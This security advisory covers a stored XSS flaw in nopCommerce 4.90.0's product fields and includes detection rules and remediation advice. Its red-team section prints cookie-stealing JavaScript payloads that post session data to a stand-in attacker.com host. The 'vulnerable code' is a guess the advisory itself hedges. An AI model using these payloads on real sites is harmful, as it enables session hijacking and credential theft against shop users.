CVE-2025-65592

Executive Summary

CVE-2025-65592 is a Stored Cross-Site Scripting (XSS) vulnerability identified in nopCommerce 4.90.0, a popular open-source e-commerce platform. The flaw resides in the product management functionality, specifically within the "Product Name" and "Short Description" fields. An authenticated attacker with product management privileges can inject malicious JavaScript payloads into these fields. These payloads are stored in the backend database and are automatically executed in the browser of any user (including administrators and customers) who views the affected product pages.

This vulnerability allows for session hijacking, credential theft, defacement, and redirection to malicious sites. The CVSS score is 0.0 in the NVD data, but based on the enriched intel and the nature of the vulnerability, a more realistic score is 5.4 (Medium). The EPSS score is 0.0%, indicating low exploitation probability in the wild at this time, but the existence of a public proof-of-concept (POC) increases the risk.

Supply Chain & Package Security

nopCommerce is a .NET-based application. The vulnerability is not in a third-party package but in the core application logic. However, the risk extends to any organization using nopCommerce 4.90.0 as part of their e-commerce supply chain. Compromise of the admin panel could lead to data breaches affecting customers, suppliers, and partners.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) - The vulnerability is exploitable remotely.
• Attack Complexity (AC): Low (L) - No special conditions are required.
• Privileges Required (PR): Low (L) - An attacker needs product management privileges.
• User Interaction (UI): Required (R) - A user must view the affected page.
• Scope (SC): Changed (C) - The vulnerable component impacts resources beyond its security scope.
• Confidentiality (C): Low (L) - Limited data exposure possible.
• Integrity (I): Low (L) - Some modification of data possible.
• Availability (A): None (N) - No impact on availability.

CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
Base Score: 5.4 (Medium)
Threat Level: Medium. While the impact is limited to integrity and confidentiality, the stored nature of the XSS makes it persistent and dangerous for all users.

Deep Dive & Mechanics

The vulnerability is a classic Stored XSS (also known as Persistent XSS). The attack flow is as follows:

1. Authentication: The attacker must have valid credentials with product management privileges (e.g., an admin or a manager role).
2. Injection: The attacker navigates to the product management page (e.g., /Admin/Product/Create or /Admin/Product/Edit/{id}). In the "Product Name" or "Short Description" fields, they input a malicious payload, such as:

   <script>alert('XSS')</script>
   

   or a more sophisticated payload for session theft:

   <img src=x onerror="fetch('https://attacker.com/steal?cookie='+document.cookie)">
   

3. Storage: The application does not properly sanitize or encode the input before storing it in the backend database (likely SQL Server or MySQL).
4. Execution: When any user (including other admins, customers, or visitors) views the product page (e.g., /product/{id}), the server retrieves the stored data and renders it in the HTML response without proper escaping. The browser then executes the injected script.

The root cause is the lack of output encoding for user-supplied data in the Razor views. The application likely uses @Html.Raw() or similar methods that bypass the default HTML encoding.

Vulnerable vs. Patched Code

Vulnerable Code (nopCommerce 4.90.0):

In the Razor view file (e.g., Product.cshtml or _ProductBox.cshtml), the product name and short description are rendered without encoding:

@* Vulnerable: Direct output without encoding *@
<h2>@Html.Raw(Model.ProductName)</h2>
<p>@Html.Raw(Model.ShortDescription)</p>

Patched Code (Expected Fix):

The patched version should use the default Razor encoding (which automatically HTML-encodes the output) or explicitly use @Html.Encode():

@* Patched: Using default Razor encoding *@
<h2>@Model.ProductName</h2>
<p>@Model.ShortDescription</p>

Alternatively, if HTML is required, a strict allowlist of tags should be used via a sanitizer library like HtmlSanitizer:

@* Patched: Using HTML sanitizer *@
@using HtmlSanitizer
<h2>@Html.Raw(SanitizerHelper.SanitizeHtml(Model.ProductName))</h2>
<p>@Html.Raw(SanitizerHelper.SanitizeHtml(Model.ShortDescription))</p>

Exploitation & Lab Setup

Red Team (Offensive)

Lab Setup:

1. Install nopCommerce 4.90.0 on a local server (Windows or Linux with .NET Core).
2. Create an admin account.
3. Log in as the admin.

Exploitation Steps:

1. Navigate to /Admin/Product/Create.
2. In the "Product Name" field, enter the following payload to steal cookies:

   <script>
   var img = new Image();
   img.src = 'https://attacker.com/steal?cookie=' + encodeURIComponent(document.cookie);
   </script>
   

3. Fill in other required fields and save the product.
4. As a victim (any user), navigate to the product page. The script executes, sending the victim's cookies to the attacker's server.

Advanced Payload (Session Hijacking):

<script>
fetch('https://attacker.com/steal', {
    method: 'POST',
    mode: 'no-cors',
    body: JSON.stringify({cookie: document.cookie, url: window.location.href})
});
</script>

Blue Team (Defensive)

Detection:

1. Monitor web application logs for unusual patterns in the "Product Name" and "Short Description" fields (e.g., <script>, onerror, onload).
2. Use a Web Application Firewall (WAF) to block common XSS payloads.
3. Implement Content Security Policy (CSP) headers to restrict script execution.

Hunting:

1. Query the database for stored XSS patterns:

   SELECT * FROM Product WHERE Name LIKE '%<script>%' OR ShortDescription LIKE '%<script>%';
   

2. Review recent changes to product names and descriptions by admin users.

Indicators of Compromise (IOCs)

• Network IOCs:
  • Outbound HTTP requests to attacker-controlled domains (e.g., attacker.com/steal).
  • Unusual Referer headers pointing to product management pages.
• Host IOCs:
  • Database entries in the Product table containing <script>, onerror, onload, or other JavaScript event handlers.
  • Web server logs showing POST requests to /Admin/Product/Create or /Admin/Product/Edit with suspicious payloads.
• File IOCs:
  • Modified Razor view files (.cshtml) that bypass encoding (e.g., use of @Html.Raw()).

Detection Engineering

YARA Rule

rule nopCommerce_Stored_XSS_CVE_2025_65592 {
    meta:
        description = "Detects stored XSS payloads in nopCommerce product fields"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-65592"
    strings:
        $xss1 = /<script[^>]*>.*?<\/script>/is
        $xss2 = /onerror\s*=\s*["']?[^"'\s>]+/is
        $xss3 = /onload\s*=\s*["']?[^"'\s>]+/is
        $xss4 = /javascript\s*:/is
    condition:
        any of ($xss*) and filesize < 10KB
}

Sigma Rule

title: Stored XSS in nopCommerce Product Management
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects attempts to exploit CVE-2025-65592 by injecting XSS payloads into product name or short description fields.
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: iis
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem:
            - '/Admin/Product/Create'
            - '/Admin/Product/Edit*'
        cs-query: '*ProductName*<script>*'
    condition: selection
falsepositives:
    - Legitimate use of HTML in product descriptions (if allowed by admin)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-65592 nopCommerce Stored XSS Payload"; flow:to_server,established; content:"POST"; http_method; content:"/Admin/Product/Create"; http_uri; content:"ProductName"; http_client_body; pcre:"/<script[^>]*>.*?<\/script>/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Upgrade: If a patched version is released, upgrade immediately. Currently, no patch is available.
2. Input Validation: Implement strict server-side validation for all product fields. Reject any input containing HTML tags or JavaScript.
3. Output Encoding: Ensure all user-supplied data is HTML-encoded before rendering. Remove any use of @Html.Raw() in Razor views.
4. WAF Rules: Deploy WAF rules to block common XSS patterns (e.g., <script>, onerror, onload).

Long-Term Fixes:

1. Content Security Policy (CSP): Implement a strict CSP that disallows inline scripts (script-src 'self').
2. Sanitization Library: Use a trusted HTML sanitizer (e.g., HtmlSanitizer for .NET) to allow only safe HTML tags.
3. Security Audit: Conduct a full security audit of the application, focusing on input/output handling.
4. User Education: Train administrators on the risks of XSS and safe data entry practices.

Workaround:

• Disable the ability for non-superadmin users to edit product names and descriptions until a patch is applied.

Valters IT